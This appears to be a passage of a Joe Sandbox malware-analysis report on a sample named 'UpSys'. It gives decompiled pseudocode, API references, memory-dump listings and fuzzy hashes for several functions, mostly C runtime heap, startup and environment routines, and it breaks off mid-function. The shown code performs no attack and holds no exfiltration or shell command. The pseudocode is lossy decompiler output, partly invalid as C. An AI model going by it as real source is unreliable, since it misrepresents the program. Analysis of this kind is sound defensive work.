                                                                                                                                                                                                        Function 00000001400172F4 Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 87%
                                                                                                                                                                                                        			E000000011400172F4(long long __rax) {
				void* _t2;
				void* _t10;

				E0000000114001D560(); // executed
				_t10 = E0000000114001F398(E0000000114002122C(E0000000114001F584(E0000000114001F824(E0000000114001F82C(E0000000114001E8E4(E0000000114001F834(E0000000114001735C(_t2, __rax), __rax), __rax), __rax), __rax), __rax)), __rax);
				0x4001d558();
				 *0x400ad068 = __rax;
				return _t10;
			}





                                                                                                                                                                                                        0x1400172fa
                                                                                                                                                                                                        0x14001733d
                                                                                                                                                                                                        0x140017349
                                                                                                                                                                                                        0x14001734e
                                                                                                                                                                                                        0x14001735a

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: EncodePointer$_initp_misc_winsig
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 190222155-0
                                                                                                                                                                                                        • Opcode ID: 802ea9af00d2a9083b4f55c9abef19fb5ed45747d1adc9e57aa0fe4fa6613614
                                                                                                                                                                                                        • Instruction ID: 181cb3827759b6d31fa573f47499f41296ef365d73474b38192af0c7bfaae4d4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 802ea9af00d2a9083b4f55c9abef19fb5ed45747d1adc9e57aa0fe4fa6613614
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3AF0A530A8164640EE0AFB6778223FC22501B9EBD4F4820357A1B0F2B3DD7AC052D740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140020CA8 Relevance: 3.0, APIs: 2, Instructions: 18memoryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Heap$CreateInformation
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1774340351-0
                                                                                                                                                                                                        • Opcode ID: 896f7e6474431bd6e5cf81cae549710969f17b386e3a3c950b3441be4da89fa6
                                                                                                                                                                                                        • Instruction ID: 830cdf7bfff3156e640f10d6f0d2d9811ccfc6005ea48be06dab936899f7bbdf
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 896f7e6474431bd6e5cf81cae549710969f17b386e3a3c950b3441be4da89fa6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 23E080B571578043F7599B52D455B956250F74C3C0F905419FB4D03764DF3CC1458B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400677B0 Relevance: 2.7, APIs: 2, Instructions: 167COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 77%
                                                                                                                                                                                                        			E000000011400677B0(void* __eax, void* __ecx, signed int __edx, intOrPtr __esi, long long __rbx, void* __rdx, long long __rdi, long long __rsi, void* __r8, void* __r9, void* __r10, void* __r11) {
				void* _t73;
				void* _t81;
				void* _t82;
				void* _t83;
				void* _t86;
				signed int _t87;
				void* _t93;
				void* _t94;
				void* _t97;
				void* _t101;
				signed long long _t103;
				signed long long _t104;
				signed long long _t109;
				signed long long _t116;
				void* _t122;
				void* _t129;
				void* _t131;
				intOrPtr* _t142;
				signed long long _t151;
				signed long long* _t154;
				long long _t157;
				void* _t160;
				void* _t166;
				void* _t167;
				void* _t168;
				int _t170;
				int _t173;

				_t166 = __r11;
				_t87 = __edx;
				_t86 = __ecx;
				_t101 = _t160;
				 *((long long*)(_t101 + 8)) = __rbx;
				 *((long long*)(_t101 + 0x10)) = _t157;
				 *((long long*)(_t101 + 0x18)) = __rsi;
				 *((long long*)(_t101 + 0x20)) = __rdi;
				 *(__rdx + 0x28) =  *(__rdx + 0x28) & 0x00000000;
				 *(__rdx + 0x48) =  *(__rdx + 0x48) & 0x00000000;
				r14d = 0;
				_t168 = __r8;
				if ( *((intOrPtr*)(__rdx + 0x18)) - _t173 <= 0) goto 0x40067a16;
				_t154 = __rdx + 0x50;
				 *_t154 =  *_t154 & 0x00000000;
				_t154[4] = _t154[4] & 0x00000000;
				if (_t154[1] - 0xf > 0) goto 0x40067a01;
				_t93 = __eax - 8;
				if (_t93 > 0) goto 0x40067980;
				if (_t93 == 0) goto 0x4006796a;
				_t94 = __eax;
				if (_t94 == 0) goto 0x40067955;
				if (_t94 == 0) goto 0x40067955;
				if (_t94 == 0) goto 0x4006793f;
				if (_t94 == 0) goto 0x4006793f;
				if (_t94 == 0) goto 0x4006792a;
				if (_t94 == 0) goto 0x4006791a;
				if (_t94 == 0) goto 0x400678af;
				if (__eax - 0xfffffffffffffffc != 1) goto 0x40067a01;
				_t103 =  *((intOrPtr*)(__r8 + 8));
				_t122 =  <  ? __rbx : E00000001140016A44(E00000001140062190(_t103,  *((intOrPtr*)(_t103 + _t157))), _t103);
				malloc(_t173); // executed
				_t116 = _t103;
				E00000001140062190(_t103,  *((intOrPtr*)( *((intOrPtr*)(__r8 + 8)) + _t157)));
				E00000001140016E4C(_t116, _t103);
				 *_t154 = _t116;
				_t154[4] = _t116;
				goto 0x40067910;
				_t104 =  *((intOrPtr*)(_t168 + 8));
				_t129 = E00000001140016A44(E00000001140062190(_t104,  *((intOrPtr*)(_t104 + _t157))), _t104);
				_t97 = _t129 - _t116;
				_t130 =  <  ? _t116 : _t129;
				_t131 = ( <  ? _t116 : _t129) + 1;
				malloc(_t170);
				_t151 = _t104;
				E00000001140062190(_t104,  *((intOrPtr*)( *((intOrPtr*)(_t168 + 8)) + _t157)));
				E00000001140014470(__esi, _t104, _t116, _t104, _t151, _t154, _t157);
				E00000001140017E10(_t87 | 0xffffffff, _t151, _t104);
				0x40016a60(_t167);
				 *_t154 = _t151;
				_t154[4] = _t151;
				goto 0x40067a01;
				E0000000114004F940(_t86, _t97, _t104,  *((intOrPtr*)( *((intOrPtr*)(_t168 + 8)) + _t157)), _t104, _t151, _t154, __r9, __r10, _t166);
				goto 0x40067938;
				 *_t154 = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(_t168 + 8)) + _t157)));
				goto 0x40067a01;
				 *_t154 = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(_t168 + 8)) + _t157)));
				goto 0x40067a01;
				 *_t154 = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(_t168 + 8)) + _t157)));
				goto 0x40067a01;
				_t109 =  *((intOrPtr*)(_t168 + 8));
				_t73 = E00000001140059340( *((intOrPtr*)(_t109 + _t157)));
				 *_t154 = _t109;
				goto 0x40067a01;
				if (_t97 == 0) goto 0x400679eb;
				if (_t97 == 0) goto 0x400679d7;
				if (_t97 == 0) goto 0x400679c7;
				if (_t97 == 0) goto 0x400679c7;
				if (_t97 == 0) goto 0x400679c7;
				if (_t97 == 0) goto 0x400679c7;
				if (_t73 - 4 != 1) goto 0x40067a01;
				_t142 =  *((intOrPtr*)( *((intOrPtr*)(_t168 + 8)) + _t157));
				if (E0000000114003F520(_t142) == 0) goto 0x400679c1;
				 *_t154 =  *((intOrPtr*)( *_t142 + 8));
				goto 0x40067a01;
				 *_t154 =  *_t154 & 0x00000000;
				goto 0x40067a01;
				_t81 = E0000000114004F940(_t86, E0000000114003F520(_t142), _t104,  *((intOrPtr*)( *((intOrPtr*)(_t168 + 8)) + _t157)), _t104, _t151, _t154, __r9, __r10, _t166);
				goto 0x40067978;
				_t82 = E00000001140004970(_t81,  *((intOrPtr*)( *((intOrPtr*)(_t168 + 8)) + _t157)));
				asm("movsd [esi], xmm0");
				goto 0x40067a01;
				_t83 = E00000001140004970(_t82,  *((intOrPtr*)( *((intOrPtr*)(_t168 + 8)) + _t157)));
				asm("cvtsd2ss xmm1, xmm0");
				asm("movss [esi], xmm1");
				if (_t173 + 1 -  *((intOrPtr*)(__rdx + 0x18)) < 0) goto 0x400677f7;
				return _t83;
			}






























                                                                                                                                                                                                        0x1400677b0
                                                                                                                                                                                                        0x1400677b0
                                                                                                                                                                                                        0x1400677b0
                                                                                                                                                                                                        0x1400677b0
                                                                                                                                                                                                        0x1400677b3
                                                                                                                                                                                                        0x1400677b7
                                                                                                                                                                                                        0x1400677bb
                                                                                                                                                                                                        0x1400677bf
                                                                                                                                                                                                        0x1400677cd
                                                                                                                                                                                                        0x1400677d2
                                                                                                                                                                                                        0x1400677d7
                                                                                                                                                                                                        0x1400677de
                                                                                                                                                                                                        0x1400677e4
                                                                                                                                                                                                        0x1400677ee
                                                                                                                                                                                                        0x1400677fb
                                                                                                                                                                                                        0x1400677ff
                                                                                                                                                                                                        0x140067808
                                                                                                                                                                                                        0x14006780e
                                                                                                                                                                                                        0x140067811
                                                                                                                                                                                                        0x140067817
                                                                                                                                                                                                        0x14006781d
                                                                                                                                                                                                        0x14006781f
                                                                                                                                                                                                        0x140067828
                                                                                                                                                                                                        0x140067831
                                                                                                                                                                                                        0x14006783a
                                                                                                                                                                                                        0x140067843
                                                                                                                                                                                                        0x14006784c
                                                                                                                                                                                                        0x140067855
                                                                                                                                                                                                        0x14006785a
                                                                                                                                                                                                        0x140067860
                                                                                                                                                                                                        0x14006787c
                                                                                                                                                                                                        0x140067885
                                                                                                                                                                                                        0x140067893
                                                                                                                                                                                                        0x140067896
                                                                                                                                                                                                        0x1400678a1
                                                                                                                                                                                                        0x1400678a6
                                                                                                                                                                                                        0x1400678a9
                                                                                                                                                                                                        0x1400678ad
                                                                                                                                                                                                        0x1400678af
                                                                                                                                                                                                        0x1400678c5
                                                                                                                                                                                                        0x1400678c8
                                                                                                                                                                                                        0x1400678cb
                                                                                                                                                                                                        0x1400678cf
                                                                                                                                                                                                        0x1400678d2
                                                                                                                                                                                                        0x1400678e0
                                                                                                                                                                                                        0x1400678e3
                                                                                                                                                                                                        0x1400678ee
                                                                                                                                                                                                        0x1400678fc
                                                                                                                                                                                                        0x140067904
                                                                                                                                                                                                        0x140067909
                                                                                                                                                                                                        0x14006790c
                                                                                                                                                                                                        0x140067915
                                                                                                                                                                                                        0x140067923
                                                                                                                                                                                                        0x140067928
                                                                                                                                                                                                        0x140067938
                                                                                                                                                                                                        0x14006793a
                                                                                                                                                                                                        0x14006794d
                                                                                                                                                                                                        0x140067950
                                                                                                                                                                                                        0x140067963
                                                                                                                                                                                                        0x140067965
                                                                                                                                                                                                        0x14006796a
                                                                                                                                                                                                        0x140067973
                                                                                                                                                                                                        0x140067978
                                                                                                                                                                                                        0x14006797b
                                                                                                                                                                                                        0x140067983
                                                                                                                                                                                                        0x140067988
                                                                                                                                                                                                        0x14006798d
                                                                                                                                                                                                        0x140067992
                                                                                                                                                                                                        0x140067997
                                                                                                                                                                                                        0x14006799c
                                                                                                                                                                                                        0x1400679a1
                                                                                                                                                                                                        0x1400679a8
                                                                                                                                                                                                        0x1400679b3
                                                                                                                                                                                                        0x1400679bc
                                                                                                                                                                                                        0x1400679bf
                                                                                                                                                                                                        0x1400679c1
                                                                                                                                                                                                        0x1400679c5
                                                                                                                                                                                                        0x1400679d0
                                                                                                                                                                                                        0x1400679d5
                                                                                                                                                                                                        0x1400679e0
                                                                                                                                                                                                        0x1400679e5
                                                                                                                                                                                                        0x1400679e9
                                                                                                                                                                                                        0x1400679f4
                                                                                                                                                                                                        0x1400679f9
                                                                                                                                                                                                        0x1400679fd
                                                                                                                                                                                                        0x140067a10
                                                                                                                                                                                                        0x140067a34

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • malloc.LIBCMT ref: 0000000140067885
                                                                                                                                                                                                          • Part of subcall function 0000000140017CA8: _FF_MSGBANNER.LIBCMT ref: 0000000140017CD8
                                                                                                                                                                                                          • Part of subcall function 0000000140017CA8: RtlAllocateHeap.NTDLL(?,?,00000000,000000014001D934,?,?,00000000,000000014001F135,?,?,?,000000014001F1DF), ref: 0000000140017CFD
                                                                                                                                                                                                          • Part of subcall function 0000000140017CA8: _errno.LIBCMT ref: 0000000140017D21
                                                                                                                                                                                                          • Part of subcall function 0000000140017CA8: _errno.LIBCMT ref: 0000000140017D2C
                                                                                                                                                                                                        • malloc.LIBCMT ref: 00000001400678D2
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errnomalloc$AllocateHeap
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2612591707-0
                                                                                                                                                                                                        • Opcode ID: 866fd1c17f2cfc54721bf24c914501082d423766e8f9b543ed6997dc6d8674ca
                                                                                                                                                                                                        • Instruction ID: d0c16930cb22dcda82af82170c8f3976b5a5bae0e458dafc0e45e0afe95f2fd7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 866fd1c17f2cfc54721bf24c914501082d423766e8f9b543ed6997dc6d8674ca
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 33616032200A4581EA27DF27D898BED67A5F78DBD4F254916EB8E4B3B2DE35C580C304
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140029118 Relevance: 2.6, APIs: 2, Instructions: 81COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 68%
                                                                                                                                                                                                        			E00000001140029118(signed int __eax, void* __ecx, long long __rbx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r9, void* _a8, void* _a16, void* _a24, void* _a32) {
				void* _v24;
				void* _t22;
				signed int _t35;
				signed long long _t46;
				void* _t49;
				long long _t51;
				signed long long _t64;
				signed long long _t72;
				void* _t77;

				_t67 = __rsi;
				_t63 = __rdi;
				_t61 = __rdx;
				_t46 = _t72;
				 *((long long*)(_t46 + 8)) = __rbx;
				 *((long long*)(_t46 + 0x10)) = __rbp;
				 *((long long*)(_t46 + 0x18)) = __rsi;
				 *((long long*)(_t46 + 0x20)) = __rdi;
				_t49 =  *0x400b4550; // 0x0
				r12d = 0;
				if (_t49 != _t77) goto 0x40029160;
				goto 0x4002921b;
				if ((__eax | 0xffffffff) == 0x3d) goto 0x40029153;
				E00000001140016A44(__eax | 0xffffffff, _t49);
				if (( *(_t49 + 2 + _t46 * 2) & 0x0000ffff) != r12w) goto 0x4002914b;
				_t8 = _t63 + 1; // 0x1
				_t22 = E0000000114001D97C(_t49 + 2 + _t46 * 2, _t8, __rdx, __rdi, __rsi, __rbp);
				_t64 = _t46;
				 *0x400b4508 = _t46;
				if (_t46 == _t77) goto 0x40029143;
				_t51 =  *0x400b4550; // 0x0
				if ( *_t51 == r12w) goto 0x400291fd;
				E00000001140016A44(_t22, _t51);
				_t9 = _t46 + 1; // 0x1
				_t35 = _t9;
				if ( *_t51 == 0x3d) goto 0x400291e9;
				E0000000114001D97C(_t51, _t35, _t61, _t64, _t67, _t35); // executed
				 *_t64 = _t46;
				if (_t46 == _t77) goto 0x40029236;
				if (E0000000114002DD40(_t46, _t51, _t46, _t70, _t67, _t70, _t51) == r12d) goto 0x400291e5;
				r9d = 0;
				r8d = 0;
				_v24 = _t77;
				E0000000114001E8EC(0, _t70, _t51);
				if ( *((intOrPtr*)(_t51 + _t35 * 2)) != r12w) goto 0x40029195;
				free(_t77);
				 *0x400b4550 = _t77;
				 *(_t64 + 8) = _t77;
				 *0x400c9ae4 = 1;
				return 0;
			}












                                                                                                                                                                                                        0x140029118
                                                                                                                                                                                                        0x140029118
                                                                                                                                                                                                        0x140029118
                                                                                                                                                                                                        0x140029118
                                                                                                                                                                                                        0x14002911b
                                                                                                                                                                                                        0x14002911f
                                                                                                                                                                                                        0x140029123
                                                                                                                                                                                                        0x140029127
                                                                                                                                                                                                        0x140029131
                                                                                                                                                                                                        0x140029138
                                                                                                                                                                                                        0x140029141
                                                                                                                                                                                                        0x140029146
                                                                                                                                                                                                        0x14002914f
                                                                                                                                                                                                        0x140029156
                                                                                                                                                                                                        0x140029167
                                                                                                                                                                                                        0x140029169
                                                                                                                                                                                                        0x140029174
                                                                                                                                                                                                        0x140029179
                                                                                                                                                                                                        0x14002917c
                                                                                                                                                                                                        0x140029186
                                                                                                                                                                                                        0x140029188
                                                                                                                                                                                                        0x140029193
                                                                                                                                                                                                        0x140029198
                                                                                                                                                                                                        0x1400291a1
                                                                                                                                                                                                        0x1400291a1
                                                                                                                                                                                                        0x1400291a4
                                                                                                                                                                                                        0x1400291b1
                                                                                                                                                                                                        0x1400291b6
                                                                                                                                                                                                        0x1400291bc
                                                                                                                                                                                                        0x1400291cf
                                                                                                                                                                                                        0x1400291d1
                                                                                                                                                                                                        0x1400291d4
                                                                                                                                                                                                        0x1400291db
                                                                                                                                                                                                        0x1400291e0
                                                                                                                                                                                                        0x1400291f4
                                                                                                                                                                                                        0x140029200
                                                                                                                                                                                                        0x140029205
                                                                                                                                                                                                        0x14002920c
                                                                                                                                                                                                        0x14002920f
                                                                                                                                                                                                        0x140029235

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: free$ErrorLastPrivilegeRelease_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1805546551-0
                                                                                                                                                                                                        • Opcode ID: 340a2841d1d8cd4500852feded8bf0dc0fdc07ba848a4120238e834a8bec24a6
                                                                                                                                                                                                        • Instruction ID: 0be6b64b1862092f2c20d0a153e9512bf94d4b7961e92515e9647c1095b0480c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 340a2841d1d8cd4500852feded8bf0dc0fdc07ba848a4120238e834a8bec24a6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: DE316A36600A4181EB269F27F8457E933A5F78DBC0F988019EB49477B6DB79D961C300
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001D910 Relevance: 2.5, APIs: 2, Instructions: 30sleepCOMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • malloc.LIBCMT ref: 000000014001D92F
                                                                                                                                                                                                          • Part of subcall function 0000000140017CA8: _FF_MSGBANNER.LIBCMT ref: 0000000140017CD8
                                                                                                                                                                                                          • Part of subcall function 0000000140017CA8: RtlAllocateHeap.NTDLL(?,?,00000000,000000014001D934,?,?,00000000,000000014001F135,?,?,?,000000014001F1DF), ref: 0000000140017CFD
                                                                                                                                                                                                          • Part of subcall function 0000000140017CA8: _errno.LIBCMT ref: 0000000140017D21
                                                                                                                                                                                                          • Part of subcall function 0000000140017CA8: _errno.LIBCMT ref: 0000000140017D2C
                                                                                                                                                                                                        • Sleep.KERNEL32(?,?,00000000,000000014001F135,?,?,?,000000014001F1DF), ref: 000000014001D946
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno$AllocateHeapSleepmalloc
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4275769124-0
                                                                                                                                                                                                        • Opcode ID: 89839cf337a504d81f54589c9cd4dbea582b30638598231cb9301be883353a06
                                                                                                                                                                                                        • Instruction ID: 3d82c190a9d4cb217627b8ea2aa2f08e107823ebdc6c197dbdcc82dde82565c0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 89839cf337a504d81f54589c9cd4dbea582b30638598231cb9301be883353a06
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 30F0F632214F8482EB529F57A4403ADB3A1E38CBD0F044125FBAD07765CF39C8918B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400877E0 Relevance: 1.7, APIs: 1, Instructions: 174COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 82%
                                                                                                                                                                                                        			E000000011400877E0(void* __ebx, void* __ecx, void* __esi, long long __rbx, long long __rcx, void* __rdx, long long __rdi, long long __rsi, signed int* __r8, void* __r10, void* __r11, long long __r12) {
				void* __r13;
				void* __r14;
				void* __r15;
				void* _t68;
				void* _t74;
				void* _t82;
				void* _t83;
				void* _t88;
				void* _t94;
				void* _t103;
				void* _t117;
				intOrPtr* _t118;
				long long _t119;
				long long _t121;
				intOrPtr* _t122;
				long long _t123;
				intOrPtr _t124;
				signed int* _t166;
				intOrPtr* _t169;
				long long _t171;
				intOrPtr* _t172;
				void* _t173;
				void* _t174;
				void* _t176;
				void* _t177;
				long long _t181;
				void* _t195;
				long long _t201;
				void* _t206;
				long long _t209;

				_t197 = __r12;
				_t195 = __r11;
				_t126 = __rbx;
				_t103 = __esi;
				_t95 = __ecx;
				_t94 = __ebx;
				_t117 = _t176;
				 *((long long*)(_t117 + 8)) = _t171;
				 *((long long*)(_t117 + 0x10)) = __rsi;
				 *((long long*)(_t117 + 0x18)) = __rdi;
				 *((long long*)(_t117 + 0x20)) = __r12;
				_t177 = _t176 - 0x5b0;
				_t118 =  *((intOrPtr*)(__rdx + 8));
				_t169 = __rcx;
				_t166 = __r8;
				E00000001140011960(_t68,  *((intOrPtr*)(_t118 + 8)));
				r15d = 1;
				 *((long long*)(_t177 + 0x20)) =  *_t118;
				 *((long long*)(_t177 + 0x28)) =  *((intOrPtr*)(_t118 + 8));
				_t192 =  *((intOrPtr*)(_t118 + 0x10));
				_t119 =  *((intOrPtr*)(_t118 + 0x18));
				 *_t119 =  *_t119 + r15d;
				 *((long long*)(_t177 + 0x38)) = _t119;
				_t181 =  *((intOrPtr*)(__rdx + 0x10)) - 3;
				 *((long long*)(_t177 + 0x30)) =  *((intOrPtr*)(_t118 + 0x10));
				 *((long long*)(_t177 + 0x78)) = _t181;
				asm("dec eax");
				if (_t181 + _t181 == _t181) goto 0x4008788d;
				E00000001140007A40(__rbx, __r8, __rcx, _t209);
				 *__r8 =  *__r8 & 0x00000000;
				__r8[2] = r15d;
				_t121 =  *((intOrPtr*)(__rcx));
				r8d = 0;
				E0000000114000FCA0(_t171 + 2, _t121, _t126,  *((intOrPtr*)(_t121 + 4)) + __rcx, __rcx, _t206);
				goto 0x40087a4e;
				 *((long long*)(_t177 + 0x78)) = _t121;
				if (E00000001140075EA0(__ecx, _t171 + 2, _t103, _t121, _t126, _t169, _t177 + 0x20, _t169, _t177 + 0x60,  *((intOrPtr*)(_t118 + 0x10))) != 0) goto 0x400878b4;
				_t74 = E00000001140007A40(_t126, __r8, _t169, _t201);
				goto 0x4008786f;
				 *(_t177 + 0x70) =  *(_t177 + 0x70) & 0x00000000;
				r12d = 0;
				if ( *((intOrPtr*)(_t177 + 0x78)) - __r12 <= 0) goto 0x4008793f;
				_t31 = _t197 + 0x18; // 0x18
				r13d = _t31;
				_t172 = _t177 + 0xc8;
				_t122 =  *((intOrPtr*)(__rdx + 8));
				E00000001140011960(_t74,  *((intOrPtr*)(_t201 + _t122)));
